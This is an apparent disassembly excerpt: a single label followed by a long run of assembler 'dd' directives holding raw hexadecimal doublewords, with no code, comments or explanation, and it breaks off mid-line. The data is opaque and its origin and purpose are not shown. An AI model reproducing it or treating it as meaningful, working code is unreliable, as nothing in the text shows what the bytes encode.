6C04C292h dd 1BB877CAh, 4A51AEC1h, 9BA02B2Eh, 0E90FC2AAh, 0BC713E89h dd 225E801Eh, 16F460CEh, 122A8EBBh, 67AEC3A8h, 0FDCCA32Dh dd 2768F609h, 62C3D454h, 9E7D0F2Ah, 4BC290A9h, 0CDE8C5E8h dd 0E0A3EC23h, 12CB64B5h, 357D3668h, 0EA89BAB0h, 0E8D2960Ah dd 1468C26Ch, 8AFD5179h, 40577DAEh, 5C037F3Ah, 56425A05h dd 12AF33E9h, 0BD8EEBAEh, 4ED0E90Ch, 0C55A01CDh, 0C45F23F2h dd 9589AF33h, 8540B8C9h, 91E711E9h, 5FC8C03Dh, 21254D53h dd 418351EAh, 2E08E2C1h, 0E91ADFB3h, 0C6F70DCDh, 3954A07Ch dd 6C759CB1h, 2BE9C0CAh, 5ADB5430h, 354F1AEAh, 627D0BDFh dd 55A29AC2h, 0BD2C0C46h, 70C38D6Dh, 0E2113B45h, 0EDFB498h dd 5DAE5D5Eh, 4406E91Ah, 0D4F01091h, 575A80B5h, 49527EEh dd 8C804FA0h, 9DD0FA51h, 0EE8C5C1Bh, 0C260E8D9h, 44862471h dd 606D02AAh, 0CE722A63h, 0F7E90880h, 0DF31B24Fh, 680050FBh dd 260E52E0h, 3F4D5D1Bh, 0E0524C53h, 83B408AFh, 9F87C625h dd 0CD8B6B73h, 77C829F8h dd 0B2A5BC38h, 4455FC97h, 0E14AB1E4h, 6C8F2057h, 9C703E32h dd 7B137DAAh, 56F046D8h, 49B1294Eh, 66E90801h, 0B07E51BAh dd 582D1FB0h, 809F1235h, 8E6C1A9h, 0FC0B0298h, 8BF3AC77h dd 550D8B4Dh, 40979F6Eh, 836B9216h, 4FB9BF7h, 0EB80F501h dd 3CCC001h, 50C2C4D0h, 0BC21012h, 773360F3h, 4B39F48Ah dd 54362000h, 6895629Bh, 2C0ED069h, 20E1114h, 7B527DBBh dd 7C25C5FCh, 38532858h, 0FF4A9E5Fh, 0B58A592Ch, 0F32D4C80h dd 157A1C58h, 14A71830h, 0B55BF820h, 0FF1CD758h, 0C3169B2Ch dd 0C70A23AAh, 75E0062Fh, 0A898E02Eh, 731E1E2Dh, 7B0D81h dd 38F342EBh, 50933B05h, 50859CCDh, 0B4847563h, 4A5F28EFh dd 5020AFF6h, 0B0C4FE6Dh, 26BABC80h, 4BD60B6Ch, 184E6546h dd 0CA299E07h, 8490F073h, 0D26DA2BBh, 76DEC802h, 0FBE1E039h dd 52FA38E9h, 3235AA4Bh, 48C433BCh, 3462CD7Ch, 0FCB70CACh dd 0D08364FDh, 3544E9C3h, 0F6062097h, 12604130h, 0FAF3892Dh dd 0CB3EBDCAh, 65A2761Eh, 0B52C4E7Ah, 42259719h, 2C7853CCh dd 2E8402C4h, 0C05732BDh, 0EA02E532h, 54890D5h, 1C651E6Bh dd 68F90529h, 0BDF3AB60h, 880C3D02h, 81D8426Bh, 46CE91Ch dd 0A99937C9h, 7716ABB4h, 68093B65h, 2BC7BA9h, 46FF124Ah dd 3E71DE80h, 0E9256BDEh, 0AE2B785Bh, 6307F877h, 0FD303EEFh dd 0E12C5BF0h, 0D3FDE8E0h, 0EB59E528h, 0B73C6344h, 666B8CF9h dd 58DCB5C4h, 401456A5h, 4EB61A15h, 0AE5F94A0h, 0EF187167h dd 104A46D3h, 48D66C88h, 5A211083h, 0BFB0005Ah, 164746DDh dd 0D0F78101h, 97599F58h, 7BCFD8D9h, 27E11714h, 68D20BB0h dd 0E3B10F68h, 0EA254382h, 501776D5h, 0B1B7C583h, 0EC7B55F0h dd 95E98233h, 12FAE8DBh, 0DEDE635Fh, 0F5093BA0h, 0F63A1B68h dd 45756B52h, 6AE90B7Dh, 7E2FF876h, 0AECB62AFh, 575E8907h dd 680B96BDh, 0B6734F18h, 7926E941h, 0E5C6C981h, 0ED4E8B58h dd 130C3C7Ch, 0FCF8C468h, 1E70B9C0h, 0FC802043h, 5EB3245Bh dd 8FFA1E4Ah, 0BC651D62h, 1094ADAFh, 2C1CAD1Bh, 281483C5h dd 0BEA504D8h, 345E4A02h, 4C0D535h, 93CDA109h, 0D500CB66h dd 259942B7h, 72504F3Bh, 0CF81021Eh, 29070E04h, 0FA6A4980h dd 0E9EE0C97h, 0EFCB74D9h, 0B93067ECh, 24800C7Eh, 0E9621341h dd 6838420Eh, 2B663ED2h, 0D34C22B7h, 7932771Bh, 0A3204E6Eh dd 0F5213BDEh, 0F887B793h, 0F28ED843h, 984CE43Eh, 17EA0ED5h dd 42DD3F35h, 0C3016DEh, 0E3A5840h, 156E00Bh, 0F13B80D5h dd 0FD7B8B6Ah, 76311D4h, 3DE9490Ch, 69510B85h, 6B742D8Fh dd 0F1025D6Bh, 0ADD41EE9h, 0E539CC3Bh, 0F3B9B652h, 17F26D84h dd 4B2231EFh, 94492434h, 64D75918h, 586F43C8h, 0EA12E096h dd 5674282Ah, 0F8CE8927h, 0ED5959BCh, 8991552Fh, 51F5EA5Dh dd 97D6ADB3h, 79417389h, 6B81902Fh, 0CF6CF536h, 74E95512h dd 0C2B8E5C0h, 87222C34h, 2B2A3ED5h, 5B5F48DFh, 0A16AD104h dd 8BD4EA6Bh, 5D590809h, 0F4A7C9C7h, 0AD2F4230h, 12E78100h dd 6FAF245Bh, 5E3A021Bh, 34E1058Bh, 97F97DD7h, 0ED022DA8h dd 1648D18h, 0F6347F7Ch, 0C23025F1h, 258B40FBh, 3A458409h dd 4245820Fh, 0ED65DDF5h, 0D1F76909h, 92DA2DE1h, 79EBDB31h dd 0D7C23C3Ah, 44CAE353h, 98685643h, 0BE06966Ah, 0F1FC974Eh dd 17E67B73h, 70201422h, 54562CD0h, 0F80F1283h, 0F7E5DE41h dd 73965E94h, 5F648C48h, 432C2DA5h, 55B24ED4h, 0B7CDD2DDh dd 6FB41741h, 0F4A4B204h, 76C78100h, 3A50A5ACh, 91CFCC7h dd 0F4A70F89h, 974F09D1h, 1A31ACC6h, 5B5D4EE5h, 0AC2B8131h dd 4BE9BC80h, 5B19CA89h, 50E828BFh, 0AD06802h, 84584052h dd 0A51D82D0h, 39AB1C77h, 0DE06F331h, 0A0C09CE9h, 0C5EE1390h dd 9C01BFD2h, 4F371C49h, 8218F6ECh, 0F6528C5Fh, 0D4102E06h dd 29C70E6Bh, 220ECE2Bh, 14D9B86Bh, 68877418h, 8C674E92h dd 5F4E9DF3h, 2078CEA2h, 5A5F9853h, 935E9B0h, 90F371Eh dd 0BCC15062h, 6ABE00DDh, 4A491B39h, 0FCBDB053h, 63FC4AF1h dd 8F4930B2h, 87C07E29h, 4C080305h, 2806DF01h, 0CC1A9164h dd 0DDEDB602h, 0C2F9299Fh, 0B75077CFh, 0F8B2E14Eh, 0A47974C1h dd 3E046F5Ch, 88A4AEC6h, 43632FB3h, 662D3A65h, 0C8292C43h dd 3B31083Fh, 0C6D7BE01h, 816FABD2h, 6F0406CCh, 0CA0B98C5h dd 16A583Fh, 524C65BDh, 41EB2142h, 21148B5h, 893F545Eh dd 0B05D0768h, 80841CFFh, 0EB01C05Ah, 51C3FE06h, 3F828B5h dd 0D52FC147h, 0CCD3C580h, 0E89D1CEDh, 95AB3BE8h, 120974D3h dd 40E6322Ah, 8613070h, 0D629191Eh, 0D4900820h, 3379C539h dd 8C5A1C58h, 9E8193ABh, 0EE0901ACh, 8CDC15Dh, 1381F02Bh dd 72ABD35Ah, 717D5F45h, 0BA907A81h, 2FC05C2Dh, 359FE2EEh dd 0E8094BE5h, 0DF4018B6h, 9FD00166h, 7C25A3F0h, 633C5913h dd 8376DEC2h, 8E810B4Bh, 50C2F9B7h, 978BF620h, 0CB48445Ah dd 54E1399h, 10AF6E12h, 9A27F445h, 3B7ED30Fh, 43139D96h dd 613AF569h, 16FE1410h, 0EDD0553Bh, 0CAD25A1Fh, 0B3C710F6h dd 0EDF3387Bh, 0E8734B73h, 1DE1F26h, 34FC6F97h, 0F40DC44Bh dd 6C417719h, 0D306371h, 0F1392D12h, 0B43F307Fh, 0E83B2F1Bh dd 0B8D76942h, 0A4849E6Bh, 44AF0BA7h, 0E3F4161Bh, 1AC0E016h dd 76A7BAh, 0CA8154BCh, 48A91603h, 0CB424A38h, 0F3643AF0h dd 15BE0105h, 0EF35F262h, 0F3DE5CE2h, 60E1F5E9h, 5DA16AB0h dd 0E062BD6Fh, 0A89F44E9h, 7669BABh, 0D33156EFh, 28863A5Ah dd 55E80BFDh, 7F064146h, 214CB591h, 0DAF71ED8h, 4580F292h dd 1369F680h, 1D6BB151h, 0E8902D8Dh, 49004DBDh, 0BE56160Eh dd 168D4CA4h, 0BBF5312Eh, 60E9DA28h, 7FB9955Eh, 72DA815h dd 292BDF29h, 8098EDC4h, 8B91975Fh, 673363FAh, 59781262h dd 7ACA3103h, 0A9EF5B17h, 2CAA5A9Ch, 1009BA16h, 0D04C0C2Fh dd 0C2811C45h, 1F6B4418h, 0E11EC242h, 0B49A6803h, 9FD496C8h dd 55C9BA1Bh, 0BABB0015h, 0E1AC4A37h, 7F003A57h, 7EB56FF1h dd 1ECF30E9h, 846B9BFh, 81641A01h, 655816E1h, 13E9D060h dd 0B19537Bh, 9294468h, 66692AD1h, 0B1E9177Dh, 1920F9A8h dd 77F1C667h, 55B7ABFEh, 0B5A14F0Ch, 0C614FA1Eh, 2AC9328Dh dd 5C51826Ah, 3055626Ah, 281CEE12h, 41FB0B10h, 0E1542BF7h dd 291A3068h, 3B404BCDh, 0C50212F1h, 36E53852h, 0B1132A74h dd 8DE191ABh, 975E235h, 889088Fh, 8CAE5D16h, 335A2D42h dd 0E1EB3624h, 40D0F13Fh, 8724094Ch, 0EB046076h, 20A6963h dd 4ACF1BFh, 58538B08h, 77B38F15h, 0A3113B62h, 0A1C480A0h dd 442FE288h, 0AAD30D3Bh, 3434F6E3h, 0A3B5BB9Dh, 17C41520h dd 0AC07612Fh, 1E005EAh, 75FC3D3Eh, 0C1D1E24Bh, 53194779h dd 68570600h, 7C0027ECh, 0DA2D5F59h, 1454501Ch, 705F829h dd 4E7EA25Bh, 3F9310A4h, 2D7D9D45h, 78DCDA5Bh, 0D6C93D50h dd 443BB177h, 0BAD0FEF4h, 1AC00DA0h, 105C2901h, 7955D41h dd 88EEDF94h, 2D0E6657h, 0A3574A96h, 0CA6CB9BFh, 0BE697153h dd 0FE7EB81Dh, 40AFBB3Dh, 0E916DC54h, 68E680ABh, 572CBEEFh dd 5B804FC6h, 0E93A1C7Ah, 8C654A36h, 91F3266h, 99493E38h dd 6385F4D3h, 0FA84BA1Ah, 9292A6B6h, 9E6A718Eh, 0E9E226F1h dd 2F0976E8h, 0E918923Ch, 0F329B54Ah, 0E57F76EAh, 5DAAB645h dd 1BB089A8h, 973DD97Ch, 15A863BAh, 6BEFB9E0h, 86984F76h dd 0CE0B8F09h, 32800068h dd 0C16DC07Ah, 8511280Ch, 0ABE12F21h, 6B1B7240h, 0D08ACB96h dd 0E0BA88C0h, 1127901h, 6504F281h, 0B7ED2FDh, 470231A7h dd 0B84873E9h, 0C524685Ch, 56515638h, 68C04822h, 48AE0F83h dd 0CC2D5800h, 0E9143F3Eh, 0BD8A70EBh, 0F165A0DEh, 6C67CA21h dd 3B0D1F82h, 8BD7781Fh, 0B15D0C2h, 70345737h, 0F66FA1F5h dd 88C5D90Fh, 0CD2AF16Ah, 251B71EAh, 9422203Bh, 93CF173Eh dd 0E705EDD1h, 8ABFB499h, 527C6068h, 2B1D9F68h, 9FFF414Dh dd 19A9B387h, 0C24627B9h, 0CB14F1F5h, 7D2BCC5Dh, 29F05AE9h dd 1E0CA506h, 0E9530B3Eh, 5148F5BFh, 18B705C0h, 82963107h dd 173A70DDh, 0B8749768h, 0D7EFA148h, 68FB8982h, 0DD7C5E1Ch dd 259C52E9h, 317E51F8h, 25446072h, 452D8089h, 393A4D1Eh dd 0ABBCC717h, 49556304h, 0AF87800Dh, 0AA5E1EE2h, 0C1C24884h dd 2EBF00DEh, 4C48203Ch, 0C3D609A0h, 0C59780DFh, 4CCA1FD7h dd 9D40C70Bh, 452A1461h, 33038702h, 0E973EC64h, 0A1949682h dd 0DBA717B4h, 2874492h, 0FA3C81E9h, 4DCA0CF6h, 3A7C2B33h dd 0D4CCB216h, 314804BFh, 4C8513E7h, 0D4EFE7FBh, 0AA6517DAh dd 0F12EC8AEh, 0A349FA7Bh, 0C1B70431h, 0EE82F730h, 957C4C2h dd 358465D8h, 201C0E0Ah, 6BA79D08h, 0B90E4813h, 0B440045h dd 9ACF8957h, 0E25948B7h, 2B7D5E06h, 3470966Eh, 36C3Eh dd 423C1DE5h, 25E94D79h, 31749D2Ah, 1A0F246Fh, 6C9C0D00h dd 0F7127A0Eh, 7C4255D0h, 6067B978h, 3E02EAE5h, 0C604149h dd 1D2B319Ch, 0F07CDD80h, 0D5892772h, 1772142Eh, 3849AE05h dd 98927059h, 27D40E24h, 0E5A43204h, 645FA4CCh, 61D11B13h dd 0AB5FABA8h, 1AE0E56h, 771AC52h, 3040804Dh, 29327801h dd 7C3590F1h, 665D3087h, 8B77FA68h, 0CF064976h, 6E5B70F3h dd 0F9898084h, 3242C0Bh, 6252894h, 5F19FDC5h, 70EF5845h dd 0DC5B4B4Dh, 0E14FBFE8h, 7E696141h, 0BA9671F6h, 0B681CA61h dd 9221372Fh, 475F3935h, 10582667h, 92775C0h, 80E492A4h dd 6359477h, 3906B061h, 0A44C6F10h, 6877CB03h, 0E3E0333Bh dd 0CA3C1150h, 76F6965Ah, 0EFB40060h, 0BDED4BF5h, 0D0FD16FBh dd 0F4A6BCh, 8F27968Ch, 0A1B83166h, 48A17B4Bh, 0D2A4AC6Fh dd 62903709h, 0C0C5F798h, 0A71F5325h, 0E93C1877h, 342EB77Ch dd 0C26223C0h, 0C87D29C0h, 2B9C3234h, 0DF121BA3h, 293CAE6Bh dd 26CE50D2h, 5D17065Ch, 0CAD1010Eh, 0CCF7088Bh, 14163722h dd 0CABF5099h, 0A9D4D23Dh, 2D3B5AAh, 0CD66C4D4h, 0D868F3B1h dd 9267702h, 8E71F571h, 663AC632h, 0B85003BEh, 6AC737EEh dd 61DFD9F2h, 18815B58h, 61084B32h, 1273CC2Dh, 6E351800h dd 5303D33h, 0A045171Bh, 0C6E4B1F1h, 3A0751DFh, 0FB68DD85h dd 9E13BBE3h, 73C0F8E2h, 0E936711Dh, 4E81555Dh, 0F5E5C0D2h dd 0CE4E7FD3h, 0B231C02h, 0B3C8C659h, 91D7CEAh, 933F2913h dd 41AD5F0Ch, 0F40B980h, 0E4B74A72h, 68A088B4h, 953F70DDh dd 5F7A41DCh, 2345E579h, 70EBA5C8h, 170B257Bh, 408C328h dd 0B3473368h, 2AA070B8h, 5B3852EAh, 44F85A9Ah, 0F6AAB781h dd 0B3A6E4D7h, 162528C0h, 0F4663B5Bh, 948C4B88h, 0F2A580F6h dd 7A2E334Ch, 8025D870h, 651CBE56h, 0BB2B5E41h, 31F8F253h dd 7E15D406h, 0D6030C5Eh, 89AECDD3h, 0E91200F2h, 3C452F21h dd 564CD129h, 0E64E2D8Bh, 56324FDBh, 7B71BFF3h, 907AA2DCh dd 8890B56Ch, 3915D09Dh, 0AF66EF3h, 7543E949h, 86EF9C9Fh dd 8D2F7D5h, 426241FAh, 5DD9301Ah, 702636E5h, 4A57E950h dd 4921BAE5h, 303A7656h, 127B5965h, 29903659h, 0E958E651h dd 3DE15B82h, 0C3412098h, 0A1B272DDh, 0E545F75Eh, 4A1E6807h dd 0FFCE5D0Bh, 0BC2FE918h, 9707A325h, 0E020C247h, 7EB56670h dd 6097A2Ch, 0ED78386h, 0EF617695h, 4A17CBA5h, 70275A0Dh dd 25F43EB2h, 520A5890h, 3F3077E9h, 0E84B5D9Eh, 0C2645665h dd 5601C2E3h, 57CEEE89h, 77404CB0h, 31017F17h, 38E99E80h dd 7224BD64h, 58D10B05h, 232C1803h, 0C4402476h, 927CD1BFh dd 5EBCC256h, 8CDA595Fh, 0AD0A23C5h, 4770FBECh, 5B675C9Dh dd 291C07F9h, 53BF4B4Eh, 8D724469h, 2D5F00ACh, 5A187F85h dd 0D1C0127Ch, 7968DE8Eh, 6617046Ah, 0F1BA1B44h, 76F83B6Fh dd 0FE02AA93h, 5672B051h, 6D82C070h, 2D266065h, 0EA60C901h dd 9ADA2710h, 0C129098Bh, 0C7FC8BE9h, 45B65286h, 59C940B0h dd 66EA6827h, 5623A2D1h, 0B4FF2D1Fh, 95DDEA21h, 0F989B730h dd 0A640FCB0h, 0CE082758h, 0CF84E72Fh, 0C298AEAEh, 0F6854450h dd 8945770Bh, 72FF8039h, 135C1126h, 634B3F68h, 34AFFE7h dd 0EC61DCACh, 70E61640h, 0E005EB11h, 3108B7ECh, 0D54EDF82h dd 0BB02E1D2h, 3EDC7341h, 688A8129h, 1C764B37h, 3301D700h dd 7BFE2D4Ah, 1466CD3Ch, 120705C8h, 0C4A0CCE9h, 343B0BBBh dd 0E44B4DC7h, 0C3CB27F3h, 3BB034CEh, 78D6F337h, 1F09BE8Ah dd 426151A2h, 240A9F8Ch, 2C430C08h, 42973EBCh, 3D4BB45Fh dd 81305543h, 3C5DC106h, 1D903B73h, 0D86A9C07h, 0D30F76Bh dd 7579699Bh, 51670B14h, 7C507Bh, 0CAF87317h, 209C591Ch dd 6929ED04h, 50BF6CADh, 385F08EFh, 0C941EA3Fh, 79EDC230h dd 84515E06h, 88CBAE92h, 6F685E04h, 0C038EF0Fh, 666C0BC6h dd 45D23383h, 0F95D0882h, 99E94259h, 4857BC6Ah, 1222C6C0h dd 466F328h, 5409CE4h, 12A0FB29h, 0F4761B8Eh, 50C8D66Fh dd 0E91342E2h, 5D412549h, 46887583h, 751C6621h, 3109B7F8h dd 8426475Fh, 0AB542A68h, 31309129h, 4960822Eh, 0B40F500Fh dd 1DCF66Bh, 0E3280EECh, 46BCB07Fh, 3B48D9F3h, 17117112h dd 0CF85EF4h, 57225127h, 0B6D62CFCh, 4FD56AC4h, 0C0F1E0AFh dd 0F38AEB50h, 0DE28CF12h, 53E49AD1h, 87BA5200h, 34CC3D16h dd 91018512h, 8EB0E902h, 82CC343Eh, 0E9DF2CCDh, 1BDDFD72h dd 3116512Ch, 0B039FED8h, 86CB983Ah, 0F8C4E454h, 0E0D15F00h dd 6D9C7C35h, 0AD48B71Fh, 4082D685h, 3D26026Ah, 34AD1353h dd 84CBC1C8h, 1A3D771Eh, 0F7F6F5C9h, 56571CECh, 0C0D02F3Ch dd 3950B9D5h, 83BDF203h, 3F5465E1h, 0C877F26Ch, 91777C7h dd 89E936E6h, 0ED5DFFABh, 0BF5092FAh, 0E975D137h, 5F25DC1Ch dd 0A179231Ch, 1E75BF80h, 980AFC0Bh, 0DB04C755h, 0D89241E5h dd 0C563D22Ch, 7453122Fh, 0CA6C0916h, 1271494h, 281AF5FAh dd 5A5BCEFDh, 7BB6A7C6h, 4A753E59h, 337ABBC0h, 0B678BDF7h dd 309FE97h, 0E259A8C5h, 0DF7AD214h, 0BC7FA985h, 0B8508474h dd 0ECC28024h, 755FB439h, 0F54177FCh, 0BD0BB0A0h, 0CCBFCDF0h dd 5A44203Eh, 3CC33124h, 5277516h, 7615A080h, 886ABF72h dd 89590802h, 43327975h, 92F4CF31h, 7B56D459h, 3E18BE02h dd 0F29487B1h, 37F9D2C5h, 0F337EC4Eh, 56582789h, 0BD3A9E77h dd 755A4A56h, 24954B96h, 0A2AE6C29h, 9F324F38h, 2E2B4C51h dd 9289A5E9h, 1049F9BAh, 4E7E5429h, 2D80C0BEh, 0A42D1CF7h dd 438B5125h, 48124729h, 0FBB4EB9Dh, 0F2591852h, 22F00C4Fh dd 5F1D2504h, 9AC1D189h, 2ABCBCA9h, 41BF5781h, 31178E12h dd 754CC079h, 2164E4Fh, 0B2A2D84Bh, 0E29241CFh, 45D6352Ch dd 0F477E3A8h, 281C9F1Bh, 0DA9F4801h, 0BD227353h, 44787402h dd 769724EEh, 8809AA74h, 1523DEC0h, 646C288h, 29104A30h dd 883D2FAh, 94A61C3Dh, 0B58C166Ah, 0E4D3E4E3h, 0A55C34Dh dd 13CDE063h, 5A3F4B00h dd 5E6ACA81h, 703661D4h, 0F4DF5FEDh, 0AE487BE9h, 6F21A0D3h dd 0E9CFC21Ch, 7B5FB4D9h, 0BB6F65F6h, 52DE1C41h, 98605A56h dd 3F44413Ch, 8101D0FDh, 0E324B6CDh, 17F5D802h, 3970717h dd 40D1EDE0h, 68045F9Eh, 4E33632Dh, 0FED7FAA8h, 17EAA4C0h dd 4513305Bh, 370E6F0Ch, 0BA9614Eh, 27510840h, 568007E9h dd 0E120FAB4h, 3B09F6B9h, 0A7905149h, 957C96F7h, 94CD165Dh dd 49B8C2E0h, 5CA1B8FFh, 0FDB040Bh, 0A5615085h, 629AF9A8h dd 0DE266F7Dh, 43D788CEh, 0B1525BF8h, 69ED68C6h, 82E93F57h dd 543C9EA4h, 0E846493Ah, 0F17B0B2Dh, 254250B3h, 0C1725DB4h dd 4CE8A7A6h, 0C0494A4Fh, 4B373428h, 0E794E973h, 170C2C0Eh dd 0CBB23FB0h, 548FD00Ch, 0D6E96482h, 8601F058h, 0A9B753D9h dd 487CFFEh, 33D4C780h, 0A8B516F7h, 54F92D09h, 12E0013Eh dd 80781CE9h, 0EFD15816h, 0B706E7C1h, 0A67CEF60h, 0A5804D9Eh dd 0BD7E9910h, 66EF135Fh, 0CD8E4B81h, 73586DE2h, 1CEC581h dd 8D3BCA68h, 9D4BF4FFh, 2C13C6BDh, 0AEB0C7F6h, 0D00582C0h dd 0D857A51Ch, 568530B7h, 776ABE32h, 6A4CEC27h, 5848B1ECh dd 9D3FB120h, 18829D66h, 370B015Dh, 0FC3E1999h, 54DF8525h dd 8CF431AFh, 0D28B4728h, 56E9DCEEh, 74960FBh, 41734500h dd 122F2540h, 4FFAB897h, 0C371D0BBh, 2E256F33h, 9108532h dd 0E95EE080h, 4A9960C7h, 7D9B6853h, 344E502Ch, 71F3B05Bh dd 37A50B6Bh, 9D02D3F7h, 28F4E173h, 0BC525E78h, 0EA896191h dd 561A605Dh, 53C87817h, 0B5CC4FFh, 40E65A08h, 5B989691h dd 2F0A9726h, 0A08503B7h, 5158B9C0h, 0F4F86DC4h, 0C1280EAh dd 5576B337h, 0A90ED05h, 0D4FE119Ch, 1C081A4Ah, 995A1405h dd 16E430FEh, 68DA6082h, 0F034411Ah, 18B7836Bh, 8218B538h dd 0BAF5E382h, 92E7CBFDh, 0D0EF7FDh, 6E55C3EBh, 594C2F1Eh dd 5EC9ACD9h, 0E0E9E3FBh, 0CB91D08Ch, 0CD3D3F02h, 0F75DAA2Dh dd 98EF013Bh, 55249CF7h, 7C370B68h, 65C01125h, 527FCADh dd 2FFA7C69h, 10904FCh, 387AC6E1h, 163E2FCCh, 90F388AAh dd 7CEB0CC1h, 1D462A8Dh, 1C48417h, 0E95E90EEh, 0CBBE3A35h dd 0D5452E3h, 11E957EBh, 0B78F2E23h, 0E9193320h, 5690F0CCh dd 0F6813B30h, 32217C34h, 0D32B2F89h, 0EB802C60h, 0DFADF44Eh dd 0A9200884h, 56491294h, 8ADA1FBCh, 75A71995h, 677F2C29h dd 0B2E9418Ah, 0C623800Ah, 359F323Fh, 0C07E9D5Dh, 0E836D262h dd 0F056F3DDh, 776AB502h, 0A32F23C0h, 4BDC6880h, 50B22245h dd 0C191EF63h, 0FAE2D658h, 514548D9h, 0E9FE0C80h, 898F6936h dd 311F35F8h, 0ACEE1B75h, 0CE845644h, 0EE890B05h, 0C3246A9h dd 0DE0B1F92h, 81063062h, 3B5EACC9h, 2F189E0h, 40B37192h dd 0EB62CA21h, 0B9127A70h, 1EFA2FD8h, 784C12Fh, 20531D4Fh dd 6513B141h, 0DB80565Eh, 5BF708B0h, 8448C532h, 0E9F5020Fh dd 1CFD04D0h, 0A991FCF0h, 5C255E94h, 882BFE21h, 88135B41h dd 0B5C433C5h, 0B29C51E9h, 0B8009341h, 4A37AC2h, 47DF3501h dd 90D1EF34h, 3720D0F7h, 1A3013B7h, 7B0BF1E4h, 1844E444h dd 4051E902h, 0C14113D5h, 7972F39Bh, 1B72D400h, 0E5C15A01h dd 462065Ch, 22156CBDh, 26D4C6FBh, 0A1247AFCh, 8F3BAA37h dd 89519145h, 0B0F076EBh, 0A641920Ch, 4829713Eh, 43084139h dd 7102DCEDh, 2A72B4EAh, 0EE0BD763h, 0F2203BFFh, 60F962E8h dd 4E37F18Dh, 2D504048h, 40D764EDh, 5E4CE958h, 0A4534C8Dh dd 8B99DF6h, 175FFFC4h, 0AA183AAh, 41EA8B5Fh, 456F6D70h dd 470CA82Ah, 89EF3C01h, 6B78E9F5h, 68508E22h, 30487B07h dd 0E85387A3h, 2398F603h, 14C1042Dh, 0C5622019h, 0A982894Fh dd 20F672DFh, 0B904C053h, 43D41BE1h, 0BE565A80h, 72D702B2h dd 5EF13196h, 0AEF650D2h, 4F82F6BDh, 34847F25h, 3927EA81h dd 0E44082DBh, 0EEF777h, 70962C20h, 8BC84A5Bh, 405A3C57h dd 60860035h, 0D8F7122Bh, 930B112Dh, 0D521BEBBh, 681659E6h dd 0F88D39A4h, 6A720E80h, 7C7FCF81h, 0B9F7D49h, 2752E0Eh dd 5454ACDEh, 319B8289h, 20C56236h, 200DBD81h, 872E290Fh dd 5F461CF6h, 0AF33D112h, 64DA4801h, 0C8213D31h, 8028231h dd 40A85458h, 0FE3A37BAh, 823C399Ch, 0CA7BB3C1h, 0B16A5F16h dd 80A6080Eh, 0D35F8136h, 0E47E3AC9h, 725D576Eh, 2BE00F98h dd 6809F7C1h, 0F04C5796h, 8BB9C848h, 0E1445D75h, 0F4B7EFFAh dd 0B0FE4930h, 7487D52h, 0B3979C23h, 9094D7CCh, 44CB1E12h dd 0C3766343h, 433B4D57h, 62BDAFC6h, 2DB96606h, 0E259B4D1h dd 0EAFC90Ch, 483009BDh, 0E500574Eh, 498C13E3h, 75E4A9A0h dd 0E928CE1Dh, 0C8891D52h, 0D30EE97Ah, 5009F0C8h, 4ED25DFAh dd 5168BBD3h, 0B89440ECh, 0BDA4331Ch, 86C7318Fh, 0B74C5039h dd 0C202AB7Ch, 7D12AC71h, 0F0AE2E45h, 746DDDE9h, 4C70D12Fh dd 0A76BE9D1h, 9575698Bh, 0F713E43Ch, 813C1ED3h, 96FEE47h dd 1F872AFBh, 3D053047h, 0D2844CBAh, 0CA078104h, 21621577h dd 9EC7EAD4h, 0A46E5A30h, 577895F3h, 97D91D20h, 0C57D8D4Ah dd 0C0529F53h, 0E9EEEDBAh, 0D9AB9E5h, 0BB68490Bh, 8266DE7Dh dd 5C4EE2C3h, 1C4FC055h, 6C6F1376h, 81E2C589h, 3B3478D3h dd 0B55A778Ah, 0F0956E93h, 0C19341ABh, 710AF939h, 0EEF36E34h dd 27E90C40h, 0BAFFCCEAh, 0DA48012h, 4C3EDD0Eh, 0A5507C83h dd 0B7E51D09h, 0CE374825h, 66ED6805h, 4AC1EDh, 80D2F649h dd 531371EAh, 0C8099BB3h, 0C48D51BAh, 4AD1EC3Bh, 68A037B9h dd 79157E7h, 552057ADh, 7B6433DBh, 6D6CE912h, 0F88439FAh dd 9895CF2Bh, 94B2F263h, 58544329h, 8B1E5CD1h, 66938C91h dd 5306CF6Fh, 0B3054F85h, 545013CCh, 2D69CCAEh, 0AF56553Ch dd 752883Ah, 0CC71C224h, 0AF5BDB78h, 1731D29h, 610715D3h dd 1EB4F85Fh, 6380CB81h, 55684ACEh, 3727C44Dh, 0A6B900BBh dd 480AB772h, 3A013153h, 3CE9774Ch, 23DA3E9Eh, 102A9B42h dd 0B819D683h, 7AE9F017h, 6D79BDFDh, 58E5023Dh, 92972EAh dd 0E0A401D9h, 0C73BC902h, 7768D5B1h, 601226F3h, 6CDCAh dd 125E5214h, 0F96C34E9h, 2F393811h, 0FC0A94E2h, 201C14F2h dd 4720CFD0h, 4BA2BE02h, 0C03119EAh, 0B49472EEh, 4DFD4BF6h dd 4E7EA5B4h, 0D62B8669h, 6C30723h, 1E016207h, 8CB10D2h dd 29550C6Bh, 200AF2E5h, 5E1ED050h, 0C686F29h, 16D23E5Ah dd 7EAD7DC5h, 0F5F42A0Ch, 7168125Ah, 4FAFCA0Ch, 522EAFB6h dd 0A9E0132Ch, 0FF623CF1h, 73CC6D4Bh, 3AEB0968h, 7E9002E9h dd 71974386h, 15B0C0DDh, 0C26D0F6h, 53090B0Eh, 3AD88288h dd 0CFBF0048h, 0F0B59E44h, 10D30B02h, 4958BA2Bh, 857003B5h dd 0C75D3F0Fh, 5B4B337Ah, 0B4A12C0Ch, 5EFF031h, 4EC31010h dd 9C9E7F05h, 931FC0DFh, 7236F960h, 0D3624C1h, 3B0274A4h dd 0FDBFF00Ch, 5C6EC06Bh, 17125C6h, 47041D05h, 57FEE909h dd 11B20F00h, 0F0A138B7h, 8BD9E08Ch, 0B1F4014Ah, 91D8F907h dd 143B12E8h, 0EB04BE31h, 5F909F4Eh, 736511F6h, 87562F0Dh dd 0E9FB10D7h, 0A0E2B5A8h, 0CB14D9DFh, 6A69E177h, 8A9D12Ah dd 0BD01056Eh, 77065142h, 71608082h, 40D5627Bh, 48D0E774h dd 2F18E374h, 0B5F589D7h, 760CE2BDh, 1A7525DEh, 1186F7C3h dd 20206723h, 0BE549D5Dh, 8E82E5ACh, 4022654Bh, 0EA6A1110h dd 26329492h, 20522F73h, 0E9D52906h, 0B67ADEB2h, 0A1E082Ah dd 0E93BA01h, 0C7E86F17h dd 522C0EEh, 63CF25DFh, 2DE82914h, 0F75D1307h, 510AF3ECh dd 94E7A031h, 761ED302h, 0C441942h, 6FA020A2h, 6BAB60F9h dd 0C4A1830h, 4E84D4B6h, 4076A80Bh, 7A16AD99h, 7FE118CCh dd 3122976Ah, 